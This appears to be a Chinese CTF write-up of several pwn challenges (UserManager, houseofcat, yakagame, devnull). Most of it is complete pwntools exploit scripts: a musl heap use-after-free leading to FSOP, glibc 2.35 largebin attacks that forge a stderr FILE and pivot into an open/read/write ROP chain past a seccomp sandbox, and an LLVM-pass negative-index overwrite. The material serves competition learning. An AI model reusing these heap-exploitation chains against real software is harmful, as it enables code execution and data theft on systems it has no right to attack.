Pwn
challenge UserManager
菜单题musl
二叉树
add里面有uaf。
连续两次id一样。
用的calloc,得想办法leak。
堆风水先把avail chunk给消耗完。再free user。 再分配的时候就可以完成用user占位name。然后用name来leak libc和elf base
再用name反过来占位user,写secret的地址就可以leak出secret。
dequeue打类似unlink攻击,打io file,fsop。堆风水,注意到parent指针会有出现解引用的问题,重新调整一下就可以。
# encoding=utf-8
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop) # by default, drop is set to false
irt = lambda :p.interactive()
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00')) # to get 8 byte addr
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# gdb debug
def z(a=''):
if local:
gdb.attach(p,a)
if a == '':
raw_input()
# basic config
local = 0
elf_path = "UserManager"
libc=ELF('./libc.so')
elf = ELF(elf_path)
# libc = elf.libc
def start():
global p
if local:
p = process(elf_path)
else:
p = remote('123.56.45.155',23014)
def add(id,size,content):
sla(': ','1')
sla('Id: ',str(id))
sla('UserName length: ', str(size))
sla('UserName: ',content)
def show(id):
sla(': ','2')
sla('Id: ',str(id))
def dele(id):
sla(': ','3')
sla('Id: ',str(id))
def clear():
sla(': ','4')
class META_struct:
BIT_FIELD_BLEN = {
'last_idx' : 5,
'freeable' : 1,
'sizeclass' : 6,
'maplen' : 52,
}
FIELD_NAME = (
'prev',
'next',
'mem',
'avail_mask',
'freed_mask',
'last_idx',
'freeable',
'sizeclass',
'maplen'
)
def __init__(self):
self.__data = {}
for k in self.FIELD_NAME:
self.__data[k] = 0
def __setattr__(self, attr, vaule):
if attr in self.FIELD_NAME:
self.__data[attr] = vaule
else:
super().__setattr__(attr, vaule)
def __getattr__(self, attr):
if attr in self.FIELD_NAME:
return self.__data[attr]
else:
return super().__getattr__(attr)
def __bytes__(self):
payload = b''
for k in ('prev', 'next', 'mem'):
payload += p64(self.__data[k])
for k in ('avail_mask', 'freed_mask'):
payload += p32(self.__data[k])
bv = 0
bpos = 0
for k in ('last_idx', 'freeable', 'sizeclass', 'maplen'):
blen = self.BIT_FIELD_BLEN[k]
bv |= (self.__data[k] & ((1 << blen) - 1)) << bpos
bpos += blen
payload += p64(bv)
return payload
def exp():
for i in range(7-2):
add(i, 0x98, str(i)*8)
clear()
add(4,0x38,'aaaaaaa')
add(4,0x98,'bbbbbbb')
add(3,0x98, 'oooooooo') # 用user占位4的name
show(4)
r(8)
libc_base = uu64(r(6))-0xb7a60
leak('libc',libc_base)
r(2+8*2)
elf_base = uu64(r(6))- 0x5d80
leak('elf_base',elf_base)
z('watch * 0x555555559da0')
pause()
dele(3)
secret_offset = 0xb4ac0
add(3,0x38, p64(4)+p64(libc_base+ secret_offset) +p64(0x38)+p64(0x2)+p64(0xdeadbeef)) # 用name反过来占位3的user
# pause()
show(4)
secret = uu64(r(8))
leak('secret',secret)
system = libc_base + libc.sym['system']
# fake start
# page_addr = libc_base - 0x7000 # noaslr
page_addr = libc_base - 0x3000 # aslr
fake_file_addr = libc_base+(0xb7f50) # addr of fake file struct
ofl_head_addr = libc_base+(0xb6e48)
# 写一个伪造的指针到name,用于任意地址free
dele(3)
add(3,0x98, 'oooooooo') # 用user占位4的name,重新做一遍,防止后续parent时出现问题。
dele(3)
add(3,0x38, p64(4)+p64(page_addr+0x40) +p64(0x38)+p64(0x2)+p64(0xdeadbeef))
# 伪造各种结构体到mmap内存上
fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem = page_addr+0x30
fm.freeable = 1
fm.maplen = 1
fake_slot = flat({
0 : secret,
0x8 : bytes(fm),
0x30 : page_addr+0x8,
0x38 : 0,
}, filler=b'\x00')
payload = 0xfe0*b'\x00' + fake_slot
add(9, 0x1300, payload)
# trigger dequeue
dele(4)
# fake _IO_FILE
fake_file = flat({
0 : b"/bin/sh\x00",
0x28 : 0xdeadbeef,
0x38 : 0xcafebabe,
0x48 : system
}, filler=b'\x00')
add( 20, 0x78, fake_file) # 看一下mheapinfo,然后打一个可分配的
pause()
sl('6')
start()
exp()
irt()
challenge houseofcat
开局是一个类似于httpd的代码快,正确后才能进入堆菜单,这里就不多说了
最开始需要对is_run[0]进行初始化为1:
run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')
然后之后每次调用菜单的pyload:
def run(payload):
r.recvuntil(b'mew mew mew~~~~~~')
r.sendline(payload)
def menu(choice):
run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
r.recvuntil(b"plz input your cat choice:\n")
r.sendline(str(choice))
漏洞出在delete有UAF,有两次edit机会,能构造两次largebin attack(不用修复largebin链表,用0x400大小域和0x440大小域即可)。glibc2.35的话,由于这道题stderr指针在libc上(应该是编译时加上了参数,否则正常stderr指针不会在libc段上)。因此两次largebin attack分别打guard(glibc2.35指针异或)和stderr指针,伪造stderr指针结构体即可,最后触发stderr,调用setcontext进行orw。
这道题本来是很正常的house of emma,但是我卡在如何触发stderr。
因为两次edit之后,构造了两次largebin attack后,没有剩余的edit次数了。
以往的house of emma都是通过UAF,先free掉一个靠近top chunk的unsortedbin p1,然后申请一个小于原来p1的堆块,这样top chunk就留在原来那个UAF的p1里,可以通过UAF更改top chunk size,使其落入top chunk size 不够分割的情况,这时候就会检查:
此处会对top_chunk的size|flags进行assert判断
old_size >= 0x20;
old_top.prev_inuse = 0;
old_top页对齐
然后可触发malloc_assert,其中的fxprintf函数会调用stderr。
不过这道题我们没有多余的edit机会了。
我思考之后,想到一种可能,若largebin attack和修改top chunk size 可以同时进行的话。并且查阅glibc源码后发现,处理largebin attack部分源码在对top chunk size进行判断之前。
参考CSDN上一篇关于house of apple博客里的堆风水启迪了我:
可以先malloc 0x480,0x480,(这两都紧挨着top chunk)然后都free 掉,再add 0x460,0x500之类的,构造出一个UAF指针,指向我们下图中的chunk3位置。通过chunk1的edit功能可以改掉bk_nextsize和chunk3的size,那就伪造一下chunk3的size(用add函数输入内容伪造,不用edit),改成chunk3距离top chunk 的距离,然后free掉UAF的chunk3指针,这样就能使top chunk合并到chunk3附近。
然后就能用edit函数同时改bk_nextsize和top chunk size。
然后直接干!

最后沙盒禁用了execve,只能orw,但是甚至read只能read fd为0的,因此需要先close(0),然后再orw,新打开的flag文件文件描述符为0。
exp:
from sys import stderr
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/qwb/houseofcat/house_of_cat')
r = remote('47.94.166.51',37799)
libc = ELF('/mnt/hgfs/ubuntu/qwb/houseofcat/libc.so.6')
def run(payload):
r.recvuntil(b'mew mew mew~~~~~~')
r.sendline(payload)
def menu(choice):
run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
r.recvuntil(b"plz input your cat choice:\n")
r.sendline(str(choice))
def add(idx,size,content):
menu(1)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
r.recvuntil(b"plz input your cat size:\n")
r.sendline(str(size))
r.recvuntil(b"plz input your content:\n")
r.send(content)
def delete(idx):
menu(2)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
def show(idx):
menu(3)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
def edit(idx,content):
menu(4)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
r.recvuntil(b"plz input your content:\n")
r.send(content)
def ROL(content, key):
tmp = bin(content)[2:].rjust(64,'0')
return int(tmp[key:] + tmp[:key], 2)
#make it 1
run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')
add(0,0x428,b'a')
add(1,0x448,b'a')
add(2,0x418,b'a')
add(7,0x458,b'a')
delete(0)
add(6,0x460,b'a')
show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x21a0d0
r.recv(10)
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x290
gadget_addr = libc_base+0x1675b0
next_chain = 0
srop_addr = heap_base+0x1c50
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x215b80+0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x1800), 0x11))
setcontext_addr = libc_base+libc.sym["setcontext"]
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx_r12 = libc_base+0x000000000011f497
pop_rax = libc_base+0x0000000000045eb0
syscall = libc_base+0x0000000000091396
fake_frame_addr = srop_addr
rop_data = [
pop_rdi,
heap_base+0x1c40+0x28,
pop_rax, # sys_open('flag', 0)
2,
syscall,
pop_rax, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi,
3,
pop_rsi,
fake_frame_addr + 0x200,
pop_rdx_r12,
0x100,
0,
syscall,
pop_rax, # sys_write(1, heap, 0x100)
1,
pop_rdi,
1,
pop_rsi,
fake_frame_addr + 0x200,
pop_rdx_r12,
0x100,
0,
syscall
]
orw = p64(pop_rdi)+p64(0)+p64(pop_rax)+p64(3)+p64(syscall)+p64(pop_rdi)+p64(heap_base+0x1c78)+p64(pop_rax)+p64(2)+p64(syscall)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
payload = p64(0)+p64(srop_addr)+p64(0)*2+p64(setcontext_addr + 61)+b'./flag\x00\x00'
payload = payload.ljust(0xa0,b'\0')
payload+= p64(heap_base+0x1c50+0x100)+p64(pop_rdi+1)
payload = payload.ljust(0x100,b'\0')
payload+= orw
add(3,0x438,b'a')
add(4,0x448,payload)
add(5,0x468,b'a')
add(8,0x438,b's')
delete(5)
delete(8)#UAF pointer
add(9,0x438,b'a')
stderr_addr = libc_base+libc.sym["stderr"]
delete(2)
add(10,0x418,fake_IO_FILE)
delete(10)
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(11,0x468,b'a'*0x20+p64(0)+p64(0xd31))
add(12,0x460,b'a')
delete(11)
add(13,0x469,b'a')
delete(3)
guard = libc_base-0x2890
delete(8)
edit(11,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x24d0)+p64(guard-0x20)+p64(0)+p64(0x206))
# # delete(11)
# # delete(11)
# # delete(8)
# add(14,0x469,b'a')
# delete(12)
# delete(13)
# delete(12)
# delete()
# delete(10)
# add(8,0x460,b'a')
# delete(3)
# edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x390)+p64(guard-0x20))
# add(9,0x460,b'a')
# gdb.attach(r)
# delete(12)
menu(1)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(b'14')
r.recvuntil(b"plz input your cat size:\n")
r.sendline(str(0x46f))
log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
r.interactive()
challenge yakagame
用ida打开yaka.so,找到类似于主函数的函数,在一堆去符号函数中间,代码最长的那个(这里我重命名为maybethis了):

同时发现了后门函数:

上Ayaka看雪上温习了一下llvm,之前国赛也出过。
程序上刚开始malloc了一个cmd的堆块,里面存放了一个初始的字符串。
分析一下各地方功能:
程序必须包含在gamestart名函数中才能进入主循环,意为,最外层函数名需为gamestart()
gamestart函数中有几个小的函数体:
①"fight"函数:参数个数为1,将传入的参数作为idx,将该weapon[idx]与boss比较,判断是否赢,赢了的话操作score = weapon[idx]-boss。输了的话没有影响。无论输赢都会判断是否进入后门函数。进入后门函数的要求为score>0x12345678。
②"merge"函数:参数个数为2,将传入的参数作为idx1,idx2,执行weapon[idx1]+=weapon[idx2]
③"destroy"函数,参数个数为1,将传入的参数作为idx,令weapon[idx]=0
④"upgrade"函数,参数个数为1,将传入的参数作为count(char 大小,有符号位扩展),对每一个weapon[k]执行weapon[k]+=count
⑤四个对cmd进行整体字符串操作的函数。同时会减boss的值。
⑥else:当函数名不等于以上所有时,会将该该函数名加进map中,同时往weaponlist指定偏移写一个char类型参数。这里map和c++map对应的位置一样,参考glibc中的srand和本地起的srand同步。可以通过这种同步来进行预测,因此本地写一个c++ map来模拟。
#include <iostream>
#include <string>
#include <map>
using namespace std;
const char* arr[] = {
"lotu",
"lotu1",
"lotu2",
"lotu3",
"lotu4",
"lotu5",
"lotu6",
"lotu7",
"lotu8",
"lotu9",
"lotu10",
"lotu11",
"lotu12",
"lotu13",
"lotu14",
"lotu15",
"lotu16",
"lotu17",
"lotu18",
"lotu19",
"lotu20",
"lotu21",
"lotu22",
"lotu23",
"lotu24",
"lotu25",
"lotu26",
"lotu27",
"lotu28",
"lotu29",
"lotu30",
"lotu31",
"lotu32",
"lotu33",
"lotu34",
"lotu35",
"lotu36",
"lotu37",
"lotu38",
"lotu39",
"lotu40",
"lotu41",
"lotu42",
"lotu43",
"lotu44",
"lotu45",
"lotu46",
"lotu47",
"lotu48",
"lotu49",
"lotu50",
"lotu51",
"lotu52",
"lotu53",
"lotu54",
"lotu55",
"lotu56",
"lotu57",
"lotu58",
"lotu59",
"lotu60",
"lotu61",
"lotu62",
"lotu63",
"lotu64",
"lotu65",
"lotu66",
"lotu67",
"lotu68",
"lotu69",
"lotu70",
"lotu71",
"lotu72",
"lotu73",
"lotu74",
"lotu75",
"lotu76",
"lotu77",
"lotu78",
"lotu79",
"lotu80",
"lotu81",
"lotu82",
"lotu83",
"lotu84",
"lotu85",
"lotu86",
"lotu87",
"lotu88",
"lotu89",
"lotu90",
"lotu91",
"lotu92",
"lotu93",
"lotu94",
"lotu95",
"lotu96",
"lotu97",
"lotu98",
"lotu99",
"lotu100",
"lotu101",
"lotu102",
"lotu103",
"lotu104",
"lotu105",
"lotu106",
"lotu107",
"lotu108",
"lotu109",
"lotu110",
"lotu111",
"lotu112",
"lotu113",
"lotu114",
"lotu115",
"lotu116",
"lotu117",
"lotu118",
"lotu119",
"lotu120",
"lotu121",
"lotu122",
"lotu123",
"lotu124",
"lotu125",
"lotu126",
"lotu127",
"lotu128",
"lotu129",
"lotu130",
"lotu131",
"lotu132",
"lotu133",
"lotu134",
"lotu135",
"lotu136",
"lotu137",
"lotu138",
"lotu139",
"lotu140",
"lotu141",
"lotu142",
"lotu143",
"lotu144",
"lotu145",
"lotu146",
"lotu147",
"lotu148",
"lotu149",
"lotu150",
"lotu151",
"lotu152",
"lotu153",
"lotu154",
"lotu155",
"lotu156",
"lotu157",
"lotu158",
"lotu159",
"lotu160",
"lotu161",
"lotu162",
"lotu163",
"lotu164",
"lotu165",
"lotu166",
"lotu167",
"lotu168",
"lotu169",
"lotu170",
"lotu171",
"lotu172",
"lotu173",
"lotu174",
"lotu175",
"lotu176",
"lotu177",
"lotu178",
"lotu179",
"lotu180",
"lotu181",
"lotu182",
"lotu183",
"lotu184",
"lotu185",
"lotu186",
"lotu187",
"lotu188",
"lotu189",
"lotu190",
"lotu191",
"lotu192",
"lotu193",
"lotu194",
"lotu195",
"lotu196",
"lotu197",
"lotu198",
"lotu199",
"lotu200",
"lotu201",
"lotu202",
"lotu203",
"lotu204",
"lotu205",
"lotu206",
"lotu207",
"lotu208",
"lotu209",
"lotu210",
"lotu211",
"lotu212",
"lotu213",
"lotu214",
"lotu215",
"lotu216",
"lotu217",
"lotu218",
"lotu219",
"lotu220",
"lotu221",
"lotu222",
"lotu223",
"lotu224",
"lotu225",
"lotu226",
"lotu227",
"lotu228",
"lotu229",
"lotu230",
"lotu231",
"lotu232",
"lotu233",
"lotu234",
"lotu235",
"lotu236",
"lotu237",
"lotu238",
"lotu239",
"lotu240",
"lotu241",
"lotu242",
"lotu243",
"lotu244",
"lotu245",
"lotu246",
"lotu247",
"lotu248",
"lotu249",
"lotu250",
"lotu251",
"lotu252",
"lotu253",
"lotu254",
"lotu255"
};
int main() {
map<string, unsigned char> m;
for (int i = 0; i < 256; i++) {
m[arr[i]] = 0;
}
int index = 0;
for (auto i = m.begin(); i != m.end(); i++) {
cout << "index : " << showbase << hex << index++ << " " << i->first << endl;
}
}
这样就能知道程序里map对应的位置了。
我原本以为漏洞出在这里:

其中boss是unsigned int,v53为int,并且<=是signed 比较,那么理论上就可以通过不断调用"tiandongwanxiang"函数来将boss整数溢出,这要v53和boss有符号比较的时候,v53肯定大于boss,而boss是一个负数,*score就能刷上来。
然后通过那四种函数组合,按理来说是能够爆破出来/bin/sh\x00的(将字符串替换成/bin/sh\x00)。
于是丢给战队逆向手,写了个脚本没跑出来。。。
start = 0x6668936D277B6892
end = 0x0068732f6e69622f
start = [0x66, 0x68, 0x93, 0x6D, 0x27, 0x7B, 0x68, 0x92]
end = [0x00, 0x68, 0x73, 0x2f, 0x6e, 0x69, 0x62, 0x2f]
st = [start]
op = ["0"]
flag = True
while len(st) and flag:
p = st.pop(0)
i = op.pop(0)
st.append([i^0x14 for i in p])
op.append(i+"1")
st.append([i^0x7F for i in p])
op.append(i+"2")
st.append([(i-9)&0xFF for i in p])
op.append(i+"3")
st.append([(i+2)&0xFF for i in p])
op.append(i+"4")
for i in range(len(st)):
if st[i] == end:
print(op[i])
print(st[i])
flag = False
实际执行的时候,取boss值放到ecx里面,然后比较时是用rcx做的比较,相当于无符号扩展。此时,boss值不可能为负数,那这种方法就不可行了。

又看了看其他地方有没有符号位扩展的洞,记忆里upgrate有,但是没什么用,符号位扩展是针对写进的字符的,不是针对于idx。
最后发现,v33是char,并且这里是对于v33是带符号扩展,通过不断++v3可以让v33带符号扩展后成为负数。

同时weapon数组上方有score和cmd的指针。
那就通过自己写的c++ map,来得知程序中map的位置,然后负索引部分覆写score指针,让她指向一个大的值。本来我还想着在堆附近找一个大一点的值,不过后面一想,随便找了个值错位一下就变得很大了。
改掉score指针后,因为逆向手没有跑出来,所以我这还是得改cmd指针。本来想着挺简单的,就add weapon的时候,c艹会申请堆块,那把函数名改为sh即可。但是调试发现这两堆块地址差太多了,部分覆写没用。爆破了一会也没爆破出来。
不过注意到程序提供的opt-8没有开pie,嘿嘿,那就用她的字符串。
题外话是我最开始运行的时候报错了,后来一看是题目提供的clang和我版本不一致,下了个clang-8。
clang-8 -emit-llvm -S yakagame.c -o yakagame.ll
Exp:
#include<stdio.h>
void fight(long int a){};
void merge(int a,int b){}//a=a+b
void destroy(int a){};//a=0
void upgrade(int a){};//every+=a
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};
void lotu(int a){};
void lotu1(int a){};
void lotu2(int a){};
void lotu3(int a){};
void lotu4(int a){};
void lotu5(int a){};
void lotu6(int a){};
void lotu7(int a){};
void lotu8(int a){};
void lotu9(int a){};
void lotu10(int a){};
void lotu11(int a){};
void lotu12(int a){};
void lotu13(int a){};
void lotu14(int a){};
void lotu15(int a){};
void lotu16(int a){};
void lotu17(int a){};
void lotu18(int a){};
void lotu19(int a){};
void lotu20(int a){};
void lotu21(int a){};
void lotu22(int a){};
void lotu23(int a){};
void lotu24(int a){};
void lotu25(int a){};
void lotu26(int a){};
void lotu27(int a){};
void lotu28(int a){};
void lotu29(int a){};
void lotu30(int a){};
void lotu31(int a){};
void lotu32(int a){};
void lotu33(int a){};
void lotu34(int a){};
void lotu35(int a){};
void lotu36(int a){};
void lotu37(int a){};
void lotu38(int a){};
void lotu39(int a){};
void lotu40(int a){};
void lotu41(int a){};
void lotu42(int a){};
void lotu43(int a){};
void lotu44(int a){};
void lotu45(int a){};
void lotu46(int a){};
void lotu47(int a){};
void lotu48(int a){};
void lotu49(int a){};
void lotu50(int a){};
void lotu51(int a){};
void lotu52(int a){};
void lotu53(int a){};
void lotu54(int a){};
void lotu55(int a){};
void lotu56(int a){};
void lotu57(int a){};
void lotu58(int a){};
void lotu59(int a){};
void lotu60(int a){};
void lotu61(int a){};
void lotu62(int a){};
void lotu63(int a){};
void lotu64(int a){};
void lotu65(int a){};
void lotu66(int a){};
void lotu67(int a){};
void lotu68(int a){};
void lotu69(int a){};
void lotu70(int a){};
void lotu71(int a){};
void lotu72(int a){};
void lotu73(int a){};
void lotu74(int a){};
void lotu75(int a){};
void lotu76(int a){};
void lotu77(int a){};
void lotu78(int a){};
void lotu79(int a){};
void lotu80(int a){};
void lotu81(int a){};
void lotu82(int a){};
void lotu83(int a){};
void lotu84(int a){};
void lotu85(int a){};
void lotu86(int a){};
void lotu87(int a){};
void lotu88(int a){};
void lotu89(int a){};
void lotu90(int a){};
void lotu91(int a){};
void lotu92(int a){};
void lotu93(int a){};
void lotu94(int a){};
void lotu95(int a){};
void lotu96(int a){};
void lotu97(int a){};
void lotu98(int a){};
void lotu99(int a){};
void lotu100(int a){};
void lotu101(int a){};
void lotu102(int a){};
void lotu103(int a){};
void lotu104(int a){};
void lotu105(int a){};
void lotu106(int a){};
void lotu107(int a){};
void lotu108(int a){};
void lotu109(int a){};
void lotu110(int a){};
void lotu111(int a){};
void lotu112(int a){};
void lotu113(int a){};
void lotu114(int a){};
void lotu115(int a){};
void lotu116(int a){};
void lotu117(int a){};
void lotu118(int a){};
void lotu119(int a){};
void lotu120(int a){};
void lotu121(int a){};
void lotu122(int a){};
void lotu123(int a){};
void lotu124(int a){};
void lotu125(int a){};
void lotu126(int a){};
void lotu127(int a){};
void lotu128(int a){};
void lotu129(int a){};
void lotu130(int a){};
void lotu131(int a){};
void lotu132(int a){};
void lotu133(int a){};
void lotu134(int a){};
void lotu135(int a){};
void lotu136(int a){};
void lotu137(int a){};
void lotu138(int a){};
void lotu139(int a){};
void lotu140(int a){};
void lotu141(int a){};
void lotu142(int a){};
void lotu143(int a){};
void lotu144(int a){};
void lotu145(int a){};
void lotu146(int a){};
void lotu147(int a){};
void lotu148(int a){};
void lotu149(int a){};
void lotu150(int a){};
void lotu151(int a){};
void lotu152(int a){};
void lotu153(int a){};
void lotu154(int a){};
void lotu155(int a){};
void lotu156(int a){};
void lotu157(int a){};
void lotu158(int a){};
void lotu159(int a){};
void lotu160(int a){};
void lotu161(int a){};
void lotu162(int a){};
void lotu163(int a){};
void lotu164(int a){};
void lotu165(int a){};
void lotu166(int a){};
void lotu167(int a){};
void lotu168(int a){};
void lotu169(int a){};
void lotu170(int a){};
void lotu171(int a){};
void lotu172(int a){};
void lotu173(int a){};
void lotu174(int a){};
void lotu175(int a){};
void lotu176(int a){};
void lotu177(int a){};
void lotu178(int a){};
void lotu179(int a){};
void lotu180(int a){};
void lotu181(int a){};
void lotu182(int a){};
void lotu183(int a){};
void lotu184(int a){};
void lotu185(int a){};
void lotu186(int a){};
void lotu187(int a){};
void lotu188(int a){};
void lotu189(int a){};
void lotu190(int a){};
void lotu191(int a){};
void lotu192(int a){};
void lotu193(int a){};
void lotu194(int a){};
void lotu195(int a){};
void lotu196(int a){};
void lotu197(int a){};
void lotu198(int a){};
void lotu199(int a){};
void lotu200(int a){};
void lotu201(int a){};
void lotu202(int a){};
void lotu203(int a){};
void lotu204(int a){};
void lotu205(int a){};
void lotu206(int a){};
void lotu207(int a){};
void lotu208(int a){};
void lotu209(int a){};
void lotu210(int a){};
void lotu211(int a){};
void lotu212(int a){};
void lotu213(int a){};
void lotu214(int a){};
void lotu215(int a){};
void lotu216(int a){};
void lotu217(int a){};
void lotu218(int a){};
void lotu219(int a){};
void lotu220(int a){};
void lotu221(int a){};
void lotu222(int a){};
void lotu223(int a){};
void lotu224(int a){};
void lotu225(int a){};
void lotu226(int a){};
void lotu227(int a){};
void lotu228(int a){};
void lotu229(int a){};
void lotu230(int a){};
void lotu231(int a){};
void lotu232(int a){};
void lotu233(int a){};
void lotu234(int a){};
void lotu235(int a){};
void lotu236(int a){};
void lotu237(int a){};
void lotu238(int a){};
void lotu239(int a){};
void lotu240(int a){};
void lotu241(int a){};
void lotu242(int a){};
void lotu243(int a){};
void lotu244(int a){};
void lotu245(int a){};
void lotu246(int a){};
void lotu247(int a){};
void lotu248(int a){};
void lotu249(int a){};
void lotu250(int a){};
void lotu251(int a){};
void lotu252(int a){};
void lotu253(int a){};
void lotu254(int a){};
void lotu255(int a){};
void gamestart()
{
lotu(0);
lotu1(1);
lotu2(2);
lotu3(3);
lotu4(4);
lotu5(5);
lotu6(6);
lotu7(7);
lotu8(0x6e);
lotu9(9);
lotu10(10);
lotu11(11);
lotu12(12);
lotu13(13);
lotu14(14);
lotu15(15);
lotu16(16);
lotu17(17);
lotu18(18);
lotu19(19);
lotu20(20);
lotu21(21);
lotu22(22);
lotu23(23);
lotu24(24);
lotu25(25);
lotu26(26);
lotu27(27);
lotu28(28);
lotu29(29);
lotu30(30);
lotu31(31);
lotu32(32);
lotu33(33);
lotu34(34);
lotu35(35);
lotu36(36);
lotu37(37);
lotu38(38);
lotu39(39);
lotu40(40);
lotu41(41);
lotu42(42);
lotu43(43);
lotu44(44);
lotu45(45);
lotu46(46);
lotu47(47);
lotu48(48);
lotu49(49);
lotu50(50);
lotu51(51);
lotu52(52);
lotu53(53);
lotu54(54);
lotu55(55);
lotu56(56);
lotu57(57);
lotu58(58);
lotu59(59);
lotu60(60);
lotu61(61);
lotu62(62);
lotu63(63);
lotu64(64);
lotu65(65);
lotu66(66);
lotu67(67);
lotu68(68);
lotu69(69);
lotu70(70);
lotu71(71);
lotu72(72);
lotu73(73);
lotu74(74);
lotu75(75);
lotu76(76);
lotu77(77);
lotu78(0xad);
lotu79(0xfd);
lotu80(0);
lotu81(0);
lotu82(0);
lotu83(0);
lotu84(0);
lotu85(0xcd);
lotu86(86);
lotu87(87);
lotu88(88);
lotu89(89);
lotu90(90);
lotu91(91);
lotu92(92);
lotu93(93);
lotu94(94);
lotu95(95);
lotu96(96);
lotu97(97);
lotu98(98);
lotu99(99);
lotu100(100);
lotu101(101);
lotu102(102);
lotu103(103);
lotu104(104);
lotu105(105);
lotu106(106);
lotu107(107);
lotu108(108);
lotu109(109);
lotu110(110);
lotu111(111);
lotu112(112);
lotu113(113);
lotu114(114);
lotu115(115);
lotu116(116);
lotu117(117);
lotu118(118);
lotu119(119);
lotu120(120);
lotu121(121);
lotu122(122);
lotu123(123);
lotu124(124);
lotu125(125);
lotu126(126);
lotu127(127);
lotu128(128);
lotu129(129);
lotu130(130);
lotu131(131);
lotu132(132);
lotu133(133);
lotu134(134);
lotu135(135);
lotu136(136);
lotu137(137);
lotu138(138);
lotu139(139);
lotu140(140);
lotu141(141);
lotu142(142);
lotu143(143);
lotu144(144);
lotu145(145);
lotu146(146);
lotu147(147);
lotu148(148);
lotu149(149);
lotu150(150);
lotu151(151);
lotu152(152);
lotu153(153);
lotu154(154);
lotu155(155);
lotu156(156);
lotu157(157);
lotu158(158);
lotu159(159);
lotu160(160);
lotu161(161);
lotu162(162);
lotu163(163);
lotu163(163);
lotu164(164);
lotu165(165);
lotu166(166);
lotu167(167);
lotu168(168);
lotu169(169);
lotu170(170);
lotu171(171);
lotu172(172);
lotu173(173);
lotu174(174);
lotu175(175);
lotu176(176);
lotu177(177);
lotu178(178);
lotu179(179);
lotu180(180);
lotu181(181);
lotu182(182);
lotu183(183);
lotu184(184);
lotu185(185);
lotu186(186);
lotu187(187);
lotu188(188);
lotu189(189);
lotu190(190);
lotu191(191);
lotu192(192);
lotu193(193);
lotu194(194);
lotu195(195);
lotu196(196);
lotu197(197);
lotu198(198);
lotu199(199);
lotu200(200);
lotu201(201);
lotu202(202);
lotu203(203);
lotu204(204);
lotu205(205);
lotu206(206);
lotu207(207);
lotu208(208);
lotu209(209);
lotu210(210);
lotu211(211);
lotu212(212);
lotu213(213);
lotu214(214);
lotu215(215);
lotu216(216);
lotu217(217);
lotu218(218);
lotu219(219);
lotu220(220);
lotu221(221);
lotu222(222);
lotu223(223);
lotu224(224);
lotu225(225);
lotu226(226);
lotu227(227);
lotu228(228);
lotu229(229);
lotu230(230);
lotu231(231);
lotu232(232);
lotu233(233);
lotu234(234);
lotu235(235);
lotu236(236);
lotu237(237);
lotu238(238);
lotu239(239);
lotu240(0);
lotu241(241);
lotu242(242);
lotu243(243);
lotu244(244);
lotu245(245);
lotu246(246);
lotu247(247);
lotu248(248);
lotu249(249);
lotu250(250);
lotu251(251);
lotu252(252);
lotu253(253);
lotu254(254);
lotu255(255);
lotu85(0xcd);
lotu78(0xad);
lotu79(0xfd);
lotu8(0x6e);
lotu80(0);
lotu81(0);
lotu82(0);
lotu83(0);
lotu84(0);
fight(0);
}
强网先锋
challenge devnull

fgets长度刚好合适,但是fgets会自动添加一个\x00。所以有off by null可以修改fd。
所以接下来为read(0,v3,0x2c)。
可以覆盖栈上的buf指针以及rbp,rip。
